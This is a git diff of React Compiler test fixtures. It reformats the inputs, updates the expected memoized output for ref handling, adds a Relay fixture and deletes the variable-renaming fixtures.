diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ref-current-field-write-not-added-to-dep.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ref-current-field-write-not-added-to-dep.js
index 02a7286837cb..4958b53a8eef 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ref-current-field-write-not-added-to-dep.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ref-current-field-write-not-added-to-dep.js
@@ -1,8 +1,8 @@
-import { useRef } from "react";
+import {useRef} from 'react';
 
 function Component() {
-  const ref = useRef({ text: { value: null } });
-  const inputChanged = (e) => {
+  const ref = useRef({text: {value: null}});
+  const inputChanged = e => {
     ref.current.text.value = e.target.value;
   };
 
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ref-current-not-added-to-dep-2.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ref-current-not-added-to-dep-2.expect.md
index e52f216db711..3d50eafb503b 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ref-current-not-added-to-dep-2.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ref-current-not-added-to-dep-2.expect.md
@@ -3,9 +3,9 @@
 
 ```javascript
 // @validateRefAccessDuringRender:false
-function Foo({ a }) {
+function Foo({a}) {
   const ref = useRef();
-  const x = { a, val: ref.current };
+  const x = {a, val: ref.current};
 
   return <VideoList videos={x} />;
 }
@@ -17,27 +17,19 @@ function Foo({ a }) {
 ```javascript
 import { c as _c } from "react/compiler-runtime"; // @validateRefAccessDuringRender:false
 function Foo(t0) {
-  const $ = _c(4);
+  const $ = _c(2);
   const { a } = t0;
   const ref = useRef();
   let t1;
   if ($[0] !== a) {
-    t1 = { a, val: ref.current };
+    const x = { a, val: ref.current };
+    t1 = <VideoList videos={x} />;
     $[0] = a;
     $[1] = t1;
   } else {
     t1 = $[1];
   }
-  const x = t1;
-  let t2;
-  if ($[2] !== x) {
-    t2 = <VideoList videos={x} />;
-    $[2] = x;
-    $[3] = t2;
-  } else {
-    t2 = $[3];
-  }
-  return t2;
+  return t1;
 }
 
 ```
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ref-current-not-added-to-dep-2.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ref-current-not-added-to-dep-2.js
index 98902acfa95e..087751baa9e8 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ref-current-not-added-to-dep-2.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ref-current-not-added-to-dep-2.js
@@ -1,7 +1,7 @@
 // @validateRefAccessDuringRender:false
-function Foo({ a }) {
+function Foo({a}) {
   const ref = useRef();
-  const x = { a, val: ref.current };
+  const x = {a, val: ref.current};
 
   return <VideoList videos={x} />;
 }
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ref-current-not-added-to-dep.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ref-current-not-added-to-dep.expect.md
index 9ace9ffc0458..4497a823d36f 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ref-current-not-added-to-dep.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ref-current-not-added-to-dep.expect.md
@@ -18,27 +18,19 @@ function VideoTab() {
 ```javascript
 import { c as _c } from "react/compiler-runtime";
 function VideoTab() {
-  const $ = _c(3);
+  const $ = _c(1);
   const ref = useRef();
   let t0;
   if ($[0] === Symbol.for("react.memo_cache_sentinel")) {
-    t0 = () => {
+    const x = () => {
       console.log(ref.current);
     };
+    t0 = <VideoList videos={x} />;
     $[0] = t0;
   } else {
     t0 = $[0];
   }
-  const x = t0;
-  let t1;
-  if ($[1] !== x) {
-    t1 = <VideoList videos={x} />;
-    $[1] = x;
-    $[2] = t1;
-  } else {
-    t1 = $[2];
-  }
-  return t1;
+  return t0;
 }
 
 ```
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ref-current-optional-field-no-added-to-dep.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ref-current-optional-field-no-added-to-dep.expect.md
index d903df376e3f..a55709b2826b 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ref-current-optional-field-no-added-to-dep.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ref-current-optional-field-no-added-to-dep.expect.md
@@ -18,27 +18,19 @@ function VideoTab() {
 ```javascript
 import { c as _c } from "react/compiler-runtime";
 function VideoTab() {
-  const $ = _c(3);
+  const $ = _c(1);
   const ref = useRef();
   let t0;
   if ($[0] === Symbol.for("react.memo_cache_sentinel")) {
-    t0 = () => {
+    const x = () => {
       ref.current?.x;
     };
+    t0 = <VideoList videos={x} />;
     $[0] = t0;
   } else {
     t0 = $[0];
   }
-  const x = t0;
-  let t1;
-  if ($[1] !== x) {
-    t1 = <VideoList videos={x} />;
-    $[1] = x;
-    $[2] = t1;
-  } else {
-    t1 = $[2];
-  }
-  return t1;
+  return t0;
 }
 
 ```
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ref-current-write-not-added-to-dep.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ref-current-write-not-added-to-dep.expect.md
index 68762dba957f..6c6aae35263a 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ref-current-write-not-added-to-dep.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ref-current-write-not-added-to-dep.expect.md
@@ -18,27 +18,19 @@ function VideoTab() {
 ```javascript
 import { c as _c } from "react/compiler-runtime";
 function VideoTab() {
-  const $ = _c(3);
+  const $ = _c(1);
   const ref = useRef();
   let t0;
   if ($[0] === Symbol.for("react.memo_cache_sentinel")) {
-    t0 = () => {
+    const x = () => {
       ref.current = 1;
     };
+    t0 = <VideoList videos={x} />;
     $[0] = t0;
   } else {
     t0 = $[0];
   }
-  const x = t0;
-  let t1;
-  if ($[1] !== x) {
-    t1 = <VideoList videos={x} />;
-    $[1] = x;
-    $[2] = t1;
-  } else {
-    t1 = $[2];
-  }
-  return t1;
+  return t0;
 }
 
 ```
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ref-in-effect.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ref-in-effect.expect.md
index d3c033aed455..8c620a698cd1 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ref-in-effect.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ref-in-effect.expect.md
@@ -4,7 +4,7 @@
 ```javascript
 function Component(props) {
   const ref = useRef(null);
-  const onChange = (e) => {
+  const onChange = e => {
     const newValue = e.target.value ?? ref.current;
     ref.current = newValue;
   };
@@ -21,7 +21,7 @@ function Component(props) {
 ```javascript
 import { c as _c } from "react/compiler-runtime";
 function Component(props) {
-  const $ = _c(4);
+  const $ = _c(3);
   const ref = useRef(null);
   let t0;
   if ($[0] === Symbol.for("react.memo_cache_sentinel")) {
@@ -45,12 +45,11 @@ function Component(props) {
   }
   useEffect(t1);
   let t2;
-  if ($[2] !== onChange) {
+  if ($[2] === Symbol.for("react.memo_cache_sentinel")) {
     t2 = <Foo onChange={onChange} />;
-    $[2] = onChange;
-    $[3] = t2;
+    $[2] = t2;
   } else {
-    t2 = $[3];
+    t2 = $[2];
   }
   return t2;
 }
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ref-in-effect.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ref-in-effect.js
index 00b960cabe40..b2d12b00315c 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ref-in-effect.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ref-in-effect.js
@@ -1,6 +1,6 @@
 function Component(props) {
   const ref = useRef(null);
-  const onChange = (e) => {
+  const onChange = e => {
     const newValue = e.target.value ?? ref.current;
     ref.current = newValue;
   };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ref-like-name-in-effect.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ref-like-name-in-effect.expect.md
index 7ebf84dd5ef6..a750afe6fe87 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ref-like-name-in-effect.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ref-like-name-in-effect.expect.md
@@ -3,10 +3,10 @@
 
 ```javascript
 // @enableTreatRefLikeIdentifiersAsRefs @validatePreserveExistingMemoizationGuarantees
-import { useRef, useEffect } from "react";
+import {useRef, useEffect} from 'react';
 
 function useCustomRef() {
-  return useRef({ click: () => {} });
+  return useRef({click: () => {}});
 }
 
 function Foo() {
@@ -37,37 +37,42 @@ function useCustomRef() {
   const $ = _c(1);
   let t0;
   if ($[0] === Symbol.for("react.memo_cache_sentinel")) {
-    t0 = { click: () => {} };
+    t0 = { click: _temp };
     $[0] = t0;
   } else {
     t0 = $[0];
   }
   return useRef(t0);
 }
+function _temp() {}
 
 function Foo() {
-  const $ = _c(3);
+  const $ = _c(4);
   const ref = useCustomRef();
   let t0;
-  let t1;
-  if ($[0] === Symbol.for("react.memo_cache_sentinel")) {
+  if ($[0] !== ref) {
     t0 = () => {
       ref.current?.click();
     };
+    $[0] = ref;
+    $[1] = t0;
+  } else {
+    t0 = $[1];
+  }
+  let t1;
+  if ($[2] === Symbol.for("react.memo_cache_sentinel")) {
     t1 = [];
-    $[0] = t0;
-    $[1] = t1;
+    $[2] = t1;
   } else {
-    t0 = $[0];
-    t1 = $[1];
+    t1 = $[2];
   }
   useEffect(t0, t1);
   let t2;
-  if ($[2] === Symbol.for("react.memo_cache_sentinel")) {
+  if ($[3] === Symbol.for("react.memo_cache_sentinel")) {
     t2 = <div>foo</div>;
-    $[2] = t2;
+    $[3] = t2;
   } else {
-    t2 = $[2];
+    t2 = $[3];
   }
   return t2;
 }
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ref-like-name-in-effect.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ref-like-name-in-effect.js
index 3e854fa60c21..516be3865541 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ref-like-name-in-effect.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ref-like-name-in-effect.js
@@ -1,8 +1,8 @@
 // @enableTreatRefLikeIdentifiersAsRefs @validatePreserveExistingMemoizationGuarantees
-import { useRef, useEffect } from "react";
+import {useRef, useEffect} from 'react';
 
 function useCustomRef() {
-  return useRef({ click: () => {} });
+  return useRef({click: () => {}});
 }
 
 function Foo() {
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ref-like-name-in-useCallback-2.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ref-like-name-in-useCallback-2.expect.md
index 855cfc2cd1de..f74962e0d65a 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ref-like-name-in-useCallback-2.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ref-like-name-in-useCallback-2.expect.md
@@ -3,10 +3,10 @@
 
 ```javascript
 // @enableTreatRefLikeIdentifiersAsRefs @validatePreserveExistingMemoizationGuarantees
-import { useRef, useCallback } from "react";
+import {useRef, useCallback} from 'react';
 
 function useCustomRef() {
-  return useRef({ click: () => {} });
+  return useRef({click: () => {}});
 }
 
 function Foo() {
@@ -14,7 +14,7 @@ function Foo() {
 
   const onClick = useCallback(() => {
     ref.current?.click();
-  }, []);
+  }, [ref]);
 
   return <button onClick={onClick} />;
 }
@@ -37,34 +37,36 @@ function useCustomRef() {
   const $ = _c(1);
   let t0;
   if ($[0] === Symbol.for("react.memo_cache_sentinel")) {
-    t0 = { click: () => {} };
+    t0 = { click: _temp };
     $[0] = t0;
   } else {
     t0 = $[0];
   }
   return useRef(t0);
 }
+function _temp() {}
 
 function Foo() {
-  const $ = _c(3);
+  const $ = _c(4);
   const ref = useCustomRef();
   let t0;
-  if ($[0] === Symbol.for("react.memo_cache_sentinel")) {
+  if ($[0] !== ref) {
     t0 = () => {
       ref.current?.click();
     };
-    $[0] = t0;
+    $[0] = ref;
+    $[1] = t0;
   } else {
-    t0 = $[0];
+    t0 = $[1];
   }
   const onClick = t0;
   let t1;
-  if ($[1] !== onClick) {
+  if ($[2] !== onClick) {
     t1 = <button onClick={onClick} />;
-    $[1] = onClick;
-    $[2] = t1;
+    $[2] = onClick;
+    $[3] = t1;
   } else {
-    t1 = $[2];
+    t1 = $[3];
   }
   return t1;
 }
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ref-like-name-in-useCallback-2.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ref-like-name-in-useCallback-2.js
index 3f20e924084c..bf243ab66cb5 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ref-like-name-in-useCallback-2.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ref-like-name-in-useCallback-2.js
@@ -1,8 +1,8 @@
 // @enableTreatRefLikeIdentifiersAsRefs @validatePreserveExistingMemoizationGuarantees
-import { useRef, useCallback } from "react";
+import {useRef, useCallback} from 'react';
 
 function useCustomRef() {
-  return useRef({ click: () => {} });
+  return useRef({click: () => {}});
 }
 
 function Foo() {
@@ -10,7 +10,7 @@ function Foo() {
 
   const onClick = useCallback(() => {
     ref.current?.click();
-  }, []);
+  }, [ref]);
 
   return <button onClick={onClick} />;
 }
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ref-like-name-in-useCallback.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ref-like-name-in-useCallback.expect.md
index 2df670c8df7a..f8de42a07f5a 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ref-like-name-in-useCallback.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ref-like-name-in-useCallback.expect.md
@@ -3,10 +3,10 @@
 
 ```javascript
 // @enableTreatRefLikeIdentifiersAsRefs @validatePreserveExistingMemoizationGuarantees
-import { useRef, useCallback } from "react";
+import {useRef, useCallback} from 'react';
 
 function useCustomRef() {
-  return useRef({ click: () => {} });
+  return useRef({click: () => {}});
 }
 
 function Foo() {
@@ -14,7 +14,7 @@ function Foo() {
 
   const onClick = useCallback(() => {
     customRef.current?.click();
-  }, []);
+  }, [customRef]);
 
   return <button onClick={onClick} />;
 }
@@ -37,34 +37,36 @@ function useCustomRef() {
   const $ = _c(1);
   let t0;
   if ($[0] === Symbol.for("react.memo_cache_sentinel")) {
-    t0 = { click: () => {} };
+    t0 = { click: _temp };
     $[0] = t0;
   } else {
     t0 = $[0];
   }
   return useRef(t0);
 }
+function _temp() {}
 
 function Foo() {
-  const $ = _c(3);
+  const $ = _c(4);
   const customRef = useCustomRef();
   let t0;
-  if ($[0] === Symbol.for("react.memo_cache_sentinel")) {
+  if ($[0] !== customRef) {
     t0 = () => {
       customRef.current?.click();
     };
-    $[0] = t0;
+    $[0] = customRef;
+    $[1] = t0;
   } else {
-    t0 = $[0];
+    t0 = $[1];
   }
   const onClick = t0;
   let t1;
-  if ($[1] !== onClick) {
+  if ($[2] !== onClick) {
     t1 = <button onClick={onClick} />;
-    $[1] = onClick;
-    $[2] = t1;
+    $[2] = onClick;
+    $[3] = t1;
   } else {
-    t1 = $[2];
+    t1 = $[3];
   }
   return t1;
 }
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ref-like-name-in-useCallback.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ref-like-name-in-useCallback.js
index 07948262b6c1..c4c7870f63f1 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ref-like-name-in-useCallback.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ref-like-name-in-useCallback.js
@@ -1,8 +1,8 @@
 // @enableTreatRefLikeIdentifiersAsRefs @validatePreserveExistingMemoizationGuarantees
-import { useRef, useCallback } from "react";
+import {useRef, useCallback} from 'react';
 
 function useCustomRef() {
-  return useRef({ click: () => {} });
+  return useRef({click: () => {}});
 }
 
 function Foo() {
@@ -10,7 +10,7 @@ function Foo() {
 
   const onClick = useCallback(() => {
     customRef.current?.click();
-  }, []);
+  }, [customRef]);
 
   return <button onClick={onClick} />;
 }
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ref-parameter-mutate-in-effect.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ref-parameter-mutate-in-effect.expect.md
index be8a4748c331..7a10cfe48e2e 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ref-parameter-mutate-in-effect.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ref-parameter-mutate-in-effect.expect.md
@@ -2,7 +2,7 @@
 ## Input
 
 ```javascript
-import { useEffect } from "react";
+import {useEffect} from 'react';
 
 function Foo(props, ref) {
   useEffect(() => {
@@ -13,7 +13,7 @@ function Foo(props, ref) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Foo,
-  params: [{ bar: "foo" }, { ref: { cuurrent: 1 } }],
+  params: [{bar: 'foo'}, {ref: {current: 1}}],
   isComponent: true,
 };
 
@@ -26,35 +26,39 @@ import { c as _c } from "react/compiler-runtime";
 import { useEffect } from "react";
 
 function Foo(props, ref) {
-  const $ = _c(4);
+  const $ = _c(5);
   let t0;
-  let t1;
-  if ($[0] === Symbol.for("react.memo_cache_sentinel")) {
+  if ($[0] !== ref) {
     t0 = () => {
       ref.current = 2;
     };
+    $[0] = ref;
+    $[1] = t0;
+  } else {
+    t0 = $[1];
+  }
+  let t1;
+  if ($[2] === Symbol.for("react.memo_cache_sentinel")) {
     t1 = [];
-    $[0] = t0;
-    $[1] = t1;
+    $[2] = t1;
   } else {
-    t0 = $[0];
-    t1 = $[1];
+    t1 = $[2];
   }
   useEffect(t0, t1);
   let t2;
-  if ($[2] !== props.bar) {
+  if ($[3] !== props.bar) {
     t2 = <div>{props.bar}</div>;
-    $[2] = props.bar;
-    $[3] = t2;
+    $[3] = props.bar;
+    $[4] = t2;
   } else {
-    t2 = $[3];
+    t2 = $[4];
   }
   return t2;
 }
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Foo,
-  params: [{ bar: "foo" }, { ref: { cuurrent: 1 } }],
+  params: [{ bar: "foo" }, { ref: { current: 1 } }],
   isComponent: true,
 };
 
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ref-parameter-mutate-in-effect.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ref-parameter-mutate-in-effect.js
index adc1c9ce89a8..ffd9eae08d66 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ref-parameter-mutate-in-effect.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ref-parameter-mutate-in-effect.js
@@ -1,4 +1,4 @@
-import { useEffect } from "react";
+import {useEffect} from 'react';
 
 function Foo(props, ref) {
   useEffect(() => {
@@ -9,6 +9,6 @@ function Foo(props, ref) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Foo,
-  params: [{ bar: "foo" }, { ref: { cuurrent: 1 } }],
+  params: [{bar: 'foo'}, {ref: {current: 1}}],
   isComponent: true,
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/regexp-literal.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/regexp-literal.expect.md
index 6ea6bdcabfae..80b90980bcf8 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/regexp-literal.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/regexp-literal.expect.md
@@ -26,7 +26,6 @@ function Component(props) {
   if ($[0] === Symbol.for("react.memo_cache_sentinel")) {
     const pattern = /foo/g;
     value = makeValue();
-
     t0 = pattern.test(value);
     $[0] = t0;
     $[1] = value;
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/relay-transitive-mixeddata.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/relay-transitive-mixeddata.expect.md
new file mode 100644
index 000000000000..5caf2e8e0da0
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/relay-transitive-mixeddata.expect.md
@@ -0,0 +1,61 @@
+
+## Input
+
+```javascript
+import {useFragment} from 'shared-runtime';
+
+/**
+ * React compiler should infer that the returned value is a primitive and avoid
+ * memoizing it.
+ */
+function useRelayData({query, idx}) {
+  'use memo';
+  const data = useFragment('', query);
+  return data.a[idx].toString();
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: useRelayData,
+  params: [{query: '', idx: 0}],
+  sequentialRenders: [
+    {query: '', idx: 0},
+    {query: '', idx: 0},
+    {query: '', idx: 1},
+  ],
+};
+
+```
+
+## Code
+
+```javascript
+import { useFragment } from "shared-runtime";
+
+/**
+ * React compiler should infer that the returned value is a primitive and avoid
+ * memoizing it.
+ */
+function useRelayData(t0) {
+  "use memo";
+  const { query, idx } = t0;
+
+  const data = useFragment("", query);
+  return data.a[idx].toString();
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: useRelayData,
+  params: [{ query: "", idx: 0 }],
+  sequentialRenders: [
+    { query: "", idx: 0 },
+    { query: "", idx: 0 },
+    { query: "", idx: 1 },
+  ],
+};
+
+```
+      
+### Eval output
+(kind: ok) "1"
+"1"
+"2"
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/relay-transitive-mixeddata.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/relay-transitive-mixeddata.js
new file mode 100644
index 000000000000..78708f30c71c
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/relay-transitive-mixeddata.js
@@ -0,0 +1,21 @@
+import {useFragment} from 'shared-runtime';
+
+/**
+ * React compiler should infer that the returned value is a primitive and avoid
+ * memoizing it.
+ */
+function useRelayData({query, idx}) {
+  'use memo';
+  const data = useFragment('', query);
+  return data.a[idx].toString();
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: useRelayData,
+  params: [{query: '', idx: 0}],
+  sequentialRenders: [
+    {query: '', idx: 0},
+    {query: '', idx: 0},
+    {query: '', idx: 1},
+  ],
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rename-source-variables-nested-function.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rename-source-variables-nested-function.expect.md
deleted file mode 100644
index 280647d53dee..000000000000
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rename-source-variables-nested-function.expect.md
+++ /dev/null
@@ -1,87 +0,0 @@
-
-## Input
-
-```javascript
-// @enableChangeVariableCodegen
-import { identity } from "shared-runtime";
-
-const $ = "module_$";
-const t0 = "module_t0";
-const c_0 = "module_c_0";
-function useFoo(props: { value: number }): number {
-  const a = () => {
-    const b = () => {
-      const c = () => {
-        console.log($);
-        console.log(t0);
-        console.log(c_0);
-        return identity(props.value);
-      };
-      return c;
-    };
-    return b;
-  };
-  return a()()();
-}
-
-export const FIXTURE_ENTRYPOINT = {
-  fn: useFoo,
-  params: [{ value: 42 }],
-};
-
-```
-
-## Code
-
-```javascript
-import { c as _c } from "react/compiler-runtime"; // @enableChangeVariableCodegen
-import { identity } from "shared-runtime";
-
-const $ = "module_$";
-const t0 = "module_t0";
-const c_0 = "module_c_0";
-function useFoo(props) {
-  const $0 = _c(4);
-  const c_00 = $0[0] !== props.value;
-  let t1;
-  if (c_00) {
-    t1 = () => {
-      const b = () => {
-        const c = () => {
-          console.log($);
-          console.log(t0);
-          console.log(c_0);
-          return identity(props.value);
-        };
-        return c;
-      };
-      return b;
-    };
-    $0[0] = props.value;
-    $0[1] = t1;
-  } else {
-    t1 = $0[1];
-  }
-  const a = t1;
-  const c_2 = $0[2] !== a;
-  let t2;
-  if (c_2) {
-    t2 = a()()();
-    $0[2] = a;
-    $0[3] = t2;
-  } else {
-    t2 = $0[3];
-  }
-  return t2;
-}
-
-export const FIXTURE_ENTRYPOINT = {
-  fn: useFoo,
-  params: [{ value: 42 }],
-};
-
-```
-      
-### Eval output
-(kind: ok) 42
-logs: ['module_$','module_t0','module_c_0']
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rename-source-variables-nested-function.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rename-source-variables-nested-function.js
deleted file mode 100644
index 4ff5c4027bdd..000000000000
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rename-source-variables-nested-function.js
+++ /dev/null
@@ -1,26 +0,0 @@
-// @enableChangeVariableCodegen
-import { identity } from "shared-runtime";
-
-const $ = "module_$";
-const t0 = "module_t0";
-const c_0 = "module_c_0";
-function useFoo(props: { value: number }): number {
-  const a = () => {
-    const b = () => {
-      const c = () => {
-        console.log($);
-        console.log(t0);
-        console.log(c_0);
-        return identity(props.value);
-      };
-      return c;
-    };
-    return b;
-  };
-  return a()()();
-}
-
-export const FIXTURE_ENTRYPOINT = {
-  fn: useFoo,
-  params: [{ value: 42 }],
-};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rename-source-variables-nested-object-method.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rename-source-variables-nested-object-method.expect.md
deleted file mode 100644
index 904360314023..000000000000
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rename-source-variables-nested-object-method.expect.md
+++ /dev/null
@@ -1,81 +0,0 @@
-
-## Input
-
-```javascript
-// @enableChangeVariableCodegen
-import { identity } from "shared-runtime";
-
-const $ = "module_$";
-const t0 = "module_t0";
-const c_0 = "module_c_0";
-function useFoo(props: { value: number }): number {
-  const a = {
-    foo() {
-      const b = {
-        bar() {
-          console.log($);
-          console.log(t0);
-          console.log(c_0);
-          return identity(props.value);
-        },
-      };
-      return b;
-    },
-  };
-  return a.foo().bar();
-}
-
-export const FIXTURE_ENTRYPOINT = {
-  fn: useFoo,
-  params: [{ value: 42 }],
-};
-
-```
-
-## Code
-
-```javascript
-import { c as _c } from "react/compiler-runtime"; // @enableChangeVariableCodegen
-import { identity } from "shared-runtime";
-
-const $ = "module_$";
-const t0 = "module_t0";
-const c_0 = "module_c_0";
-function useFoo(props) {
-  const $0 = _c(2);
-  const c_00 = $0[0] !== props.value;
-  let t1;
-  if (c_00) {
-    const a = {
-      foo() {
-        const b = {
-          bar() {
-            console.log($);
-            console.log(t0);
-            console.log(c_0);
-            return identity(props.value);
-          },
-        };
-        return b;
-      },
-    };
-
-    t1 = a.foo().bar();
-    $0[0] = props.value;
-    $0[1] = t1;
-  } else {
-    t1 = $0[1];
-  }
-  return t1;
-}
-
-export const FIXTURE_ENTRYPOINT = {
-  fn: useFoo,
-  params: [{ value: 42 }],
-};
-
-```
-      
-### Eval output
-(kind: ok) 42
-logs: ['module_$','module_t0','module_c_0']
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rename-source-variables-nested-object-method.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rename-source-variables-nested-object-method.js
deleted file mode 100644
index 1c3c6cbaaf94..000000000000
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rename-source-variables-nested-object-method.js
+++ /dev/null
@@ -1,27 +0,0 @@
-// @enableChangeVariableCodegen
-import { identity } from "shared-runtime";
-
-const $ = "module_$";
-const t0 = "module_t0";
-const c_0 = "module_c_0";
-function useFoo(props: { value: number }): number {
-  const a = {
-    foo() {
-      const b = {
-        bar() {
-          console.log($);
-          console.log(t0);
-          console.log(c_0);
-          return identity(props.value);
-        },
-      };
-      return b;
-    },
-  };
-  return a.foo().bar();
-}
-
-export const FIXTURE_ENTRYPOINT = {
-  fn: useFoo,
-  params: [{ value: 42 }],
-};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rename-source-variables.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rename-source-variables.expect.md
deleted file mode 100644
index 5021d3f0efaa..000000000000
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rename-source-variables.expect.md
+++ /dev/null
@@ -1,62 +0,0 @@
-
-## Input
-
-```javascript
-// @enableChangeVariableCodegen
-import { identity } from "shared-runtime";
-
-const $ = "module_$";
-const t0 = "module_t0";
-const c_0 = "module_c_0";
